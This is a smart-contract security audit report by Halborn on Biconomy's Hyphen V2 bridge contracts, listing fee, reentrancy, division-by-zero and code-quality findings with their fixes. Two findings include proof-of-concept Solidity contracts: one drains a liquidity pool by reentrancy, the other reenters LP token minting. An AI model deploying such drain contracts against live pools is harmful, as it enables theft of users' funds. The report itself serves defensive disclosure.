Halborn Logo

Hyphen V2 - Biconomy


Prepared by:

Halborn Logo

HALBORN

Last Updated 04/25/2024

Date of Engagement by: January 30th, 2022 - February 24th, 2022

Summary

100% of all REPORTED Findings have been addressed

All findings

14

Critical

1

High

1

Medium

2

Low

4

Informational

6


1. INTRODUCTION

Biconomy engaged Halborn to conduct a security audit on their smart contracts beginning on 2022-01-30 and ending on 2022-02-24. The security assessment was scoped to the smart contracts provided to the Halborn team.

2. AUDIT SUMMARY

The team at Halborn was provided four weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

    • Ensure that smart contract functions operate as intended

    • Identify potential security issues with the smart contracts

In summary, Halborn identified some security risks that were mostly addressed by the Biconomy team.

Although Halborn found some critical, high and medium vulnerabilities, the "Biconomy team" ran a contest as part of a bug bounty program as part of the overall security process. Halborn tested whether the vulnerabilities found during the Code4rena contest were fixed.

3. TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the smart contract audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of smart contracts and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

    • Research into architecture and purpose.

    • Smart Contract manual code review and walkthrough.

    • Graphing out functionality and contract logic/connectivity/functions(solgraph)

    • Manual Assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.

    • Dynamic Analysis (ganache-cli, brownie, hardhat)

    • Static Analysis(slither)

4. SCOPE

\begin{enumerate} \item Biconomy Hyphen Contracts \begin{enumerate} \item Repository: \href{https://github.com/bcnmy/hyphen-contract}{Hyphen Contracts} \item Commit ID: \href{https://github.com/bcnmy/hyphen-contract/tree/79477448be994213353e481af15f5d94a64c3bc1}{79477448be994213353e481af15f5d94a64c3bc1} \end{enumerate} \item Out-of-Scope \begin{enumerate} \item contracts/security/ \item contracts/test/ \item External libraries \end{enumerate} \end{enumerate}

5. RISK METHODOLOGY

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the LIKELIHOOD of a security incident and the IMPACT should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.
RISK SCALE - LIKELIHOOD
  • 5 - Almost certain an incident will occur.
  • 4 - High probability of an incident occurring.
  • 3 - Potential of a security incident in the long term.
  • 2 - Low probability of an incident occurring.
  • 1 - Very unlikely issue will cause an incident.
RISK SCALE - IMPACT
  • 5 - May cause devastating and unrecoverable impact or loss.
  • 4 - May cause a significant level of impact or loss.
  • 3 - May cause a partial impact or loss to many.
  • 2 - May cause temporary impact or loss.
  • 1 - May cause minimal or un-noticeable impact.
The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.
Critical
High
Medium
Low
Informational
  • 10 - CRITICAL
  • 9 - 8 - HIGH
  • 7 - 6 - MEDIUM
  • 5 - 4 - LOW
  • 3 - 1 - VERY LOW AND INFORMATIONAL

6. SCOPE

Out-of-Scope: New features/implementations after the remediation commit IDs.

7. Assessment Summary & Findings Overview

Critical

1

High

1

Medium

2

Low

4

Informational

6

Impact x Likelihood

HAL-02

HAL-01

HAL-03

HAL-04

HAL-10

HAL-05

HAL-06

HAL-07

HAL-08

HAL-11

HAL-12

HAL-13

HAL-14

HAL-09

Security analysisRisk levelRemediation Date
WRONG FEE CALCULATION LEADS LOSS OF REWARD FUNDSCriticalSolved - 02/28/2022
REENTRANCY LEADS DRAIN OF FUNDS (PRIVILEGED USER)HighSolved - 02/28/2022
DIVISION BY ZERO BLOCKS TRANSFER OF FUNDSMediumSolved - 02/28/2022
REENTRANCY ON LPTOKEN MINTINGMediumSolved - 02/28/2022
LACK OF ZERO ADDRESS CHECKSLowSolved - 02/28/2022
MISSING RE-ENTRANCY GUARDLowSolved - 02/28/2022
DISCREPANCY ON FUNCTION NAMINGLowSolved - 02/28/2022
FLOATING PRAGMALowSolved - 02/28/2022
LACK OF ADDRESS CONTROL ON ADDEXECUTOR FUNCTIONInformationalSolved - 02/28/2022
USE OF SEND PATTERN INSTEAD OF CALL.VALUEInformationalSolved - 02/28/2022
CENTRALIZED WITHDRAWNATIVEGASFEE FUNCTIONInformationalSolved - 02/28/2022
USE OF I++ INSTEAD OF ++I IN FOR LOOPS - GAS OPTIMIZATIONInformationalSolved - 02/28/2022
REDUNDANT CODE - GAS OPTIMIZATIONInformationalSolved - 02/28/2022
MISSING TEST COVERAGE FOR PERMIT OPERATIONSInformationalAcknowledged

8. Findings & Tech Details

8.1 WRONG FEE CALCULATION LEADS LOSS OF REWARD FUNDS

// Critical

Description

The LiquidityPool contract has claim gas fee mechanism for both ERC20 tokens and Native token. There are two functions to claim gas fee. The first function is withdrawErc20GasFee, used for claiming gas fee for ERC20 tokens. The withdrawNativeGasFee function is used for claiming gas fee for native token.

It is impossible to withdraw native gas fees due to wrong fee amount of calculation on withdrawNativeGasFee function.

LiquidityPool.sol

gasFeeAccumulatedByToken[NATIVE] = 0;
gasFeeAccumulatedByToken[NATIVE] = gasFeeAccumulatedByToken[NATIVE] - _gasFeeAccumulated;

Basically, this function tries to substract _gasFeeAccumulated variable from 0. Therefore, this function will always revert, and native gas fees will remain in the contract.

Code Location

LiquidityPool.sol

function withdrawNativeGasFee() external onlyOwner whenNotPaused {
        uint256 _gasFeeAccumulated = gasFeeAccumulated[NATIVE][_msgSender()];
        require(_gasFeeAccumulated != 0, "Gas Fee earned is 0");
        gasFeeAccumulatedByToken[NATIVE] = 0;
        gasFeeAccumulatedByToken[NATIVE] = gasFeeAccumulatedByToken[NATIVE] - _gasFeeAccumulated;
        gasFeeAccumulated[NATIVE][_msgSender()] = 0;
        bool success = payable(_msgSender()).send(_gasFeeAccumulated);
        require(success, "Native Transfer Failed");

        emit GasFeeWithdraw(address(this), _msgSender(), _gasFeeAccumulated);
    }
Score
Impact: 5
Likelihood: 5
Recommendation

SOLVED: The Biconomy team solved this issue by correcting the math operation that was causing the loss of funds.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/fab4b8c0a10a3e0185b2a06b10248391837c07de}{fab4b8c0a10a3e0185b2a06b10248391837c07de}

8.2 REENTRANCY LEADS DRAIN OF FUNDS (PRIVILEGED USER)

// High

Description

The Reentrancy term comes from where a re-entrant procedure can be interrupted in the middle of its execution and then safely be called again ("re-entered") before its previous invocations complete execution. In Solidity, Reentrancy vulnerabilities are mostly critical because attackers can steal funds from contracts by exploiting this vulnerability.

It has been observed that a malicious owner or malicious liquidity provider can drain all funds from the liquidity pool.

Note: The risk level is decreased to Critical from High due to authorization level.

Steps to Reproduce:

  1. Alice (owner) deploys the LiquidityPool contract.
  2. Bob (user1) transfer some funds (22 ETH) to LiquidityPool.
  3. Carol (user2) transfer more funds (15 ETH) to LiquidityPool.
  4. Alice deploys a malicious Attack contract.
  5. Alice sets LiquidityProviders address to the attack contact.
  6. Alice tries to send (1 ETH) to the attack contract.
  7. Attack contract calls LiquidityPool's transfer function reentrantly.
  8. Attack contract consumes all ETH from LiquidityPool.
  9. Alice destructs the Attack contract and gets all ETH.

PoC Code:

Attack.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.0;
import "./LiquidityPool.sol";

contract Attack {
    LiquidityPool public lpool;
    address private constant NATIVE = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    address private owner;

    modifier onlyOwner(){
    require(owner == msg.sender, "Unauthorized");
    _;
    }

    constructor (address _lpaddress) public {
    owner = msg.sender;
        lpool = LiquidityPool(payable(_lpaddress));
    }
    fallback() external payable{
        if (address(lpool).balance >= 1 ether){
            lpool.transfer(NATIVE, address(this), 1 ether);
        }
    }

    function getBalance(address target) public view returns (uint) {
        return target.balance;
    }

    function destruct() external onlyOwner {
        selfdestruct(payable(owner));
    }

}

Code Location

LiquidityPool.sol

function transfer(address _tokenAddress, address receiver, uint256 _tokenAmount) external whenNotPaused onlyLiquidityProviders {
        if (_tokenAddress == NATIVE) {
            require(address(this).balance >= _tokenAmount, "ERR__INSUFFICIENT_BALANCE");
            (bool success, ) = receiver.call{value: _tokenAmount}("");
            require(success, "ERR__NATIVE_TRANSFER_FAILED");
        } else {
            IERC20Upgradeable baseToken = IERC20Upgradeable(_tokenAddress);
            require(baseToken.balanceOf(address(this)) >= _tokenAmount, "ERR__INSUFFICIENT_BALANCE");
            SafeERC20Upgradeable.safeTransfer(baseToken, receiver, _tokenAmount);
        }
    }
Score
Impact: 5
Likelihood: 3
Recommendation

SOLVED: The Biconomy team solved this issue by implementing nonReentrant modifier to the transfer() function.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/e00937d1ca0e800e69fcb87d0841a74c0083194a}{e00937d1ca0e800e69fcb87d0841a74c0083194a}

8.3 DIVISION BY ZERO BLOCKS TRANSFER OF FUNDS

// Medium

Description

The sendFundsToUser() is a function on the LiquidityPool contract that allows users to be paid in certain tokens for the specified chainIds. This function is only callable by executors. When an executor attempts to call this function, the following functions are also called sequentially:

  1. sendFundsToUser()
  2. getAmountToTransfer()
  3. getTransferFee()

In the last function, there is missing control for if denominator value is zero. There are some conditions that make the denominator be zero.

For example;

  1. If providedLiquidity and resultingLiquidity variables are zero. (if there is no liquidity on the pool)
  2. When you try to send all liquidity to another user while providedLiquidity is zero. (if users made a direct transfer to the pool)
  3. If maxFee equals to equilibriumFee and providedLiquidity variable is zero.

As a result, these circumstances will block transfer of funds.

Code Location

LiquidityPool.sol

function getTransferFee(address tokenAddress, uint256 amount) public view returns (uint256 fee) {
        uint256 currentLiquidity = getCurrentLiquidity(tokenAddress);
        uint256 providedLiquidity = liquidityProviders.getSuppliedLiquidityByToken(tokenAddress);

        uint256 resultingLiquidity = currentLiquidity - amount;

        uint256 equilibriumFee = tokenManager.getTokensInfo(tokenAddress).equilibriumFee;
        uint256 maxFee = tokenManager.getTokensInfo(tokenAddress).maxFee;
        // Fee is represented in basis points * 10 for better accuracy
        uint256 numerator = providedLiquidity * equilibriumFee * maxFee; // F(max) * F(e) * L(e)
        uint256 denominator = equilibriumFee * providedLiquidity + (maxFee - equilibriumFee) * resultingLiquidity; // F(e) * L(e) + (F(max) - F(e)) * L(r)

        fee = numerator / denominator;
    }
Score
Impact: 3
Likelihood: 3
Recommendation

SOLVED: The Biconomy team solved this finding by applying the recommendation above to the code that was causing the division by zero.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/22618c038df5d27368ccac4c5451d2a0c9816513}{22618c038df5d27368ccac4c5451d2a0c9816513}

8.4 REENTRANCY ON LPTOKEN MINTING

// Medium

Description

The LPToken contract is ERC721 token and uses tokenMetadata to keep deposit amounts for other ERC20 tokens. When a user deposit native asset or ERC20 token to the Liquidity Pool over LiquidityProviders contract, LPToken is getting minted to track this operation. During this process, LiquidityProvider contract calls lptoken.mint() function and LPToken contract calls ERC721's _safeMint() function. The _safeMint() function has any callbacks, and malicious contract with onERC721Received callback can re-enter to other contracts. This can lead to unexpected situations.

PoC Code:

Note: The following code does not mint unlimited LPTokens with 1 ETH. It is just added to show that Re-entrancy is possible. However, this situation may produce unexpected results.

Attack3.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.0;
import "./LiquidityProviders.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";

contract Attack3 is IERC721ReceiverUpgradeable{
    LiquidityProviders public liquidityproviders;

    constructor() public {}

    function setLProvider(address _lproviders) external {
    liquidityproviders = LiquidityProviders(payable(_lproviders));
    }

    function onERC721Received(
        address operator, 
        address from, 
        uint256 tokenId, 
        bytes calldata data) external override returns (bytes4) {
        if (tokenId < 10) {
            liquidityproviders.addNativeLiquidity{value: 1e12}();
            return IERC721ReceiverUpgradeable.onERC721Received.selector;        
        }
        else{
            return IERC721ReceiverUpgradeable.onERC721Received.selector;
        }
    }

    receive() external payable {}

    function attack() external payable{
       liquidityproviders.addNativeLiquidity{value: msg.value}();
    }
}

Code Location

LPToken.sol

function mint(address _to) external onlyHyphenPools whenNotPaused returns (uint256) {
        uint256 tokenId = totalSupply() + 1;
        _safeMint(_to, tokenId);
        return tokenId;
    }
Score
Impact: 3
Likelihood: 3
Recommendation

SOLVED: The Biconomy team solved this issue by implementing the nonReentrant modifier to the mint() function.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/cce62223d4779792ea68f3570b576da12dc96eb2}{cce62223d4779792ea68f3570b576da12dc96eb2}

8.5 LACK OF ZERO ADDRESS CHECKS

// Low

Description

Hyphen contracts have address fields on multiple functions. These functions have missing address validations. Every address should be validated and checked that is different from zero. This is also considered a best practice.

During the test, it has seen some of these inputs are not protected against using the address(0) as the target address.

Code Location

Functions with missing zero address checks

LPToken.setLiquidtyPool(address)._lpm
LPToken.updateLiquidityPoolAddress(address)._liquidityPoolAddress
LiquidityPool.transfer(address,address,uint256).receiver
Score
Impact: 2
Likelihood: 2
Recommendation

SOLVED: This issue solved by Biconomy team after adding additional zero address checks to the code as it recommended.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/5c57ae6eddcddde2f89ed00d9c5387ff151774ea}{5c57ae6eddcddde2f89ed00d9c5387ff151774ea}

8.6 MISSING RE-ENTRANCY GUARD

// Low

Description

To protect against cross-function re-entrancy attacks, it may be necessary to use a mutex. By using this lock, an attacker can no longer exploit the withdrawal function with a recursive call. OpenZeppelin has its own mutex implementation called ReentrancyGuard which provides a modifier to any function called nonReentrant that guards the function with a mutex against re-entrancy attacks.

Note: This issue is created for other functions that were not exploited.

Code Location

Possible Vulnerable Functions

LiquidityPool.depositErc20()
LiquidityPool.depositNative()
LiquidityPool.getAmountToTransfer()
LiquidityPool.withdrawErc20GasFee()
LiquidityPool.withdrawNativeGasFee()
LiquidityPool.transfer()
LiquidityProviders.addNativeLiquidity()
LiquidityProviders.addTokenLiquidity()
LiquidityProviders.increaseTokenLiquidity()
LiquidityProviders.increaseNativeLiquidity()
LiquidityProviders.removeLiquidity()
LiquidityProviders.claimFee()
Score
Impact: 2
Likelihood: 2
Recommendation

SOLVED: This vulnerability was eliminated by adding the nonReentrant modifier to functions mentioned above.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/e511a8a02ab298526689cef653c905b6b2d452e3}{e511a8a02ab298526689cef653c905b6b2d452e3}

8.7 DISCREPANCY ON FUNCTION NAMING

// Low

Description

The setLiquidtyPool function on the LPToken contract is named inconsistently. Similarly, there is a setLiquidityPool function on the LiquidityProviders contract which uses LiquidityPool as argument. As a result of the function named in this way in the LPToken contract, if the contract owner gives the LiquidityPool address as an argument instead of the LiquidityProvider address, the transactions on the contract do not work properly.

Code Location

LiquidityProviders.sol

function setLiquidityPool(address _liquidityPool) external onlyOwner {
        liquidityPool = ILiquidityPool(_liquidityPool);
}

LPToken.sol

function setLiquidtyPool(address _lpm) external onlyOwner {
        liquidityPoolAddress = _lpm;
        emit LiquidityPoolUpdated(_lpm);
    }
Score
Impact: 2
Likelihood: 2
Recommendation

SOLVED: This issue was solved after renaming the setLiquidtyPool function to setLiquidityProviders.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/9e16cd0e6b6e66d5f02792d0705149c873daf287}{9e16cd0e6b6e66d5f02792d0705149c873daf287}

8.8 FLOATING PRAGMA

// Low

Description

The project contains many instances of floating pragma. Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, either an outdated compiler version that might introduce bugs that affect the contract system negatively or a pragma version too recent which has not been extensively tested.

Code Location

Floating Pragma

LiquidityProviders.sol::pragma solidity ^0.8.0
WhitelistPeriodManager.sol::pragma solidity ^0.8.0
LPToken.sol::pragma solidity ^0.8.0
ERC2771Context.sol::pragma solidity ^0.8.0
ERC2771ContextUpgradeable.sol::pragma solidity ^0.8.0
ILPToken.sol::pragma solidity ^0.8.0
ILiquidityPool.sol::pragma solidity ^0.8.0
ILiquidityProviders.sol::pragma solidity ^0.8.0
ITokenManager.sol::pragma solidity ^0.8.0
IWhitelistPeriodManager.sol::pragma solidity ^0.8.0
LpTokenMetadata.sol::pragma solidity ^0.8.0
Score
Impact: 2
Likelihood: 2
Recommendation

SOLVED: The Biconomy team solved this issue by locking pragma versions.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/d7ca2d430b08296b742db3d0c39cc0dfa7201330}{d7ca2d430b08296b742db3d0c39cc0dfa7201330}

8.9 LACK OF ADDRESS CONTROL ON ADDEXECUTOR FUNCTION

// Informational

Description

According to the performed tests, it is possible to add the same executor to the executors array multiple times. Adding the same address to the executor array does not pose a security risk since the remove function works properly. However, it is the best practice to keep unique elements in executors array.

Code Location

ExecutorManager.sol

function addExecutor(address executorAddress) public override onlyOwner {
        require(executorAddress != address(0), "executor address can not be 0");
        executors.push(executorAddress);
        executorStatus[executorAddress] = true;
        emit ExecutorAdded(executorAddress, msg.sender);
    }
Score
Impact: 1
Likelihood: 2
Recommendation

SOLVED: This finding was solved after a sanity check was added to the code to check not to add duplicate records to the array.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/e15fffa2aa3c79a9b2729a7e081737856a632317}{e15fffa2aa3c79a9b2729a7e081737856a632317}

8.10 USE OF SEND PATTERN INSTEAD OF CALL.VALUE

// Informational

Description

Solidity has three methods to complete Ether transfers. The first one is transfer method. It forwards 2300 gas, and it does not have callback to check whether transfer is completed or not. The second one is send method. It also forwards 2300 gas, but it returns false on failure. The third one is call.value method. This method issues a low-level CALL with the given payload and returns success condition and return data. It forwards all available gas.

It is the best practice to use call.value method, since other methods have hardcoded gas amounts. However, the call.value method may use all gas on reentrant transactions. Therefore, it is important to use nonReentrant modifier with this method.

Code Location

LPToken.sol

if (tokenAddress == NATIVE) {
            require(address(this).balance >= amountToTransfer, "Not Enough Balance");
            bool success = receiver.send(amountToTransfer);
            require(success, "Native Transfer Failed");

LPToken.sol

gasFeeAccumulated[NATIVE][_msgSender()] = 0;
        bool success = payable(_msgSender()).send(_gasFeeAccumulated);
        require(success, "Native Transfer Failed");
Score
Impact: 2
Likelihood: 1
Recommendation

SOLVED: The Biconomy team solved this issue by replacing the send method with the call.value method.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/d98b632da2aa7e92668c58c8d81f81c595af3401}{d98b632da2aa7e92668c58c8d81f81c595af3401}

8.11 CENTRALIZED WITHDRAWNATIVEGASFEE FUNCTION

// Informational

Description

The withdrawErc20GasFee function can also be called by other executors defined on the contract. In this case, there may be different accumulated gas fee values for each executor. Contrary to this situation, the withdrawNativeGasFee function only can be called by contract owner. This function nearly has the same logic with the first one. While other executors can collect gas fees for tokens, only the contract owner can collect this value for the native asset. In this case, it reduces decentralization of the contract.

Code Location

LiquidityPool.sol

function withdrawErc20GasFee(address tokenAddress) external onlyExecutor whenNotPaused

LiquidityPool.sol

function withdrawNativeGasFee() external onlyOwner whenNotPaused
Score
Impact: 1
Likelihood: 1
Recommendation

SOLVED: This issue was removed after changing the onlyOwner modifier to the onlyExecutor modifier in the withdrawNativeGasFee function.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/fab4b8c0a10a3e0185b2a06b10248391837c07de}{fab4b8c0a10a3e0185b2a06b10248391837c07de}

8.12 USE OF I++ INSTEAD OF ++I IN FOR LOOPS - GAS OPTIMIZATION

// Informational

Description

In all the loops, the variable i is incremented using i++. It is known that, in loops, using ++i costs less gas per iteration than i++. This also affects variables incremented inside the loop code block.

Code Location

ExecutorManager.sol


function addExecutors(address[] calldata executorArray) external override onlyOwner {
        for (uint256 i = 0; i < executorArray.length; i++) {
            addExecutor(executorArray[i]);
        }
    }

ExecutorManager.sol

function removeExecutors(address[] calldata executorArray) external override onlyOwner {
        for (uint256 i = 0; i < executorArray.length; i++) {
            removeExecutor(executorArray[i]);
        }
    }

TokenManager.sol

function setDepositConfig(
        uint256[] memory toChainId,
        address[] memory tokenAddresses,
        TokenConfig[] memory tokenConfig
    ) external onlyOwner {
        require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
        require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");
        for (uint256 index = 0; index < tokenConfig.length; index++) {
            depositConfig[toChainId[index]][tokenAddresses[index]].min = tokenConfig[index].min;
            depositConfig[toChainId[index]][tokenAddresses[index]].max = tokenConfig[index].max;
        }
    }
Score
Impact: 1
Likelihood: 1
Recommendation

SOLVED: The Biconomy team resolved this finding by replacing post-increment with pre-increment on for loops.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/cb81bba9c42167b05e4724465ad76edaebd55645}{cb81bba9c42167b05e4724465ad76edaebd55645}

8.13 REDUNDANT CODE - GAS OPTIMIZATION

// Informational

Description

In TokenManager contract, there is redundant require statement. The following lines check if length of array elements are equal.

Redundant Code

require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");

It is possible to complete this check with a single require function.

Code Location

TokenManager.sol

    function setDepositConfig(
        uint256[] memory toChainId,
        address[] memory tokenAddresses,
        TokenConfig[] memory tokenConfig
    ) external onlyOwner {
        require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
        require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");
        for (uint256 index = 0; index < tokenConfig.length; index++) {
            depositConfig[toChainId[index]][tokenAddresses[index]].min = tokenConfig[index].min;
            depositConfig[toChainId[index]][tokenAddresses[index]].max = tokenConfig[index].max;
        }
    }
Score
Impact: 1
Likelihood: 1
Recommendation

SOLVED: The Biconomy team solved this issue by reducing the require functions from two to only one require function.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/41eb807e4f6a617fd2195b23ad22f7397654cdca}{41eb807e4f6a617fd2195b23ad22f7397654cdca}

8.14 MISSING TEST COVERAGE FOR PERMIT OPERATIONS

// Informational

Description

There are two permit functions (permitAndDepositErc20 and permitEIP2612AndDepositErc20) on LiquidityPool contract to complete Meta transactions. However, there is no test scenario in the test scripts about whether these functions work correctly.

Code Location

Test Scripts

test/LiquidityPool.tests.ts
test/LiquidityPoolProxy.tests.ts
test/LiquidityProviders.test.ts
test/WhitelistPeriodManager.test.ts
Score
Impact: 1
Likelihood: 1
Recommendation

ACKNOWLEDGED: The Biconomy team acknowledged this issue. This finding does not pose any security risks currently. Therefore, it was decided not to fix this issue.

9. Review Notes

Code4rena Hyphen Contest Remediation

The audit fixes were committed for the following pull request (#42).

C4-24 - DoS by gas limit

Code Location: LiquidityFarming.sol#L233

SOLVED: The Halborn team validated that the for loop is optimized with an additional index variable implementation.

C4-26 - Fees can be more than 100 percent

Code Location: TokenManager.sol#L44

SOLVED: The Biconomy team set an upper bound (BASE_DIVISOR) for the fee. It will be impossible to set more than 100 percent for fees with this change.

C4-29 - Malicious liquidity providers can prevent other users from providing liquidity

Code Location: LiquidityProviders.sol#L280-L310

SOLVED: An additional check is implemented for cases where totalSharesMinted[token] == 0.

C4-34 - Deposit to Zero/Contract Address Leads To Indefinitely Lock the Rewards

Code Location: LiquidityFarming.sol#L156

SOLVED: This issue has been solved after adding zero address check to the contract. This finding has been also considered as a good practice.

C4-36 - Reward per second can overflow in liquidity farming

Code Location: LiquidityFarming.sol#L289

SOLVED: This issue has been solved by the Biconomy team after setting an upper bound for the variable that changes the reward per second.

C4-55 - Can deposit native token for free and steal funds

Code Location: LiquidityPool.sol#L151

SOLVED: The Halborn team validated that this issue was resolved after implementing the tokenAddress != NATIVE.

C4-79 - The low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent

Code Location: LiquidityFarming.sol#L140 LiquidityFarming.sol#L145 LiquidityProviders.sol#L251 LiquidityProviders.sol#L336

SOLVED: Additional zero address checks for the LiquidityPool address were implemented to the contract.

C4-87 - Incentive Pool can be drained without rebalancing the pool

Code Location: LiquidityPool.sol#L263-L277

Biconomy Team:

If depositor keeps toChainId same as source chain Id, then executor will not pick this deposit transaction on backend as there won't be any mapping for fromChainId => toChainId, so depositor funds will remain in the source chain if he tries to do it and try to drain the incentive pool. Although this could happen because of any bug on the UI, so it's better to handle these situations on contract itself. It will increase a gas though a bit while depositing. Will consider this point though.

SOLVED: The toChainId != block.chainid check was implemented in the contract.

C4-121 - Executor and LiquidityPool.sol should use EIP-1559 transaction fee calculation mechanism and not the legacy mechanism

Code Location: LiquidityPool.sol#L263-L340

SOLVED: The EIP-1559 transaction fee calculation standard has been followed with the latest change.

C4-135 - Deleting nft Info can cause users' nft.unpaidRewards to be permanently erased

Code Location: LiquidityFarming.sol#L229-L253

SOLVED: The Biconomy team has solved this issue by changing the logic of the _sendRewardsForNft function. Users will get their unpaid rewards after calling the extractRewards function. If there are unpaid rewards, the contract will not delete their nftInfo with these changes.

C4-137 - A pauser can brick the contracts

Code Location: Pausable.sol#L65-L68

SOLVED: The whenNotPaused modifier has been added for the renouncePauser function.

C4-162 - Farming rewards are incorrectly calculated when multiple operations by the same token are done in the same block

Code Location: LiquidityFarming.sol#L315-L325

SOLVED: The block.timestamp check, which caused the vulnerability, was removed from the contract, so other users' rewards on the same block were calculated properly.

C4-192 - Function setBaseGas Lacks Bounds Check and Event Emit Affects Transfer

Code Location: LiquidityPool.sol#L119-L121 LiquidityPool.sol#L284

SOLVED: A new event that will notify the change of baseGas has been implemented in the contract and the vulnerability has been eliminated.

10. Automated Testing

STATIC ANALYSIS REPORT

Description

Halborn used automated testing techniques to enhance coverage of certain areas of the scoped contract. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Results

LiquidityPool.sol: \newline

LPToken.sol: \newline

LiquidityProviders.sol: \newline

ExecutorManager.sol: \newline

TokenManager.sol: \newline

WhitelistPeriodManager.sol: \newline

As a result of the tests carried out with the Slither tool, some results were obtained and these results were reviewed by Halborn. Based on the results reviewed, some vulnerabilities were determined to be false positives and these results were not included in the report. The actual vulnerabilities found by Slither are already included in the report findings.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.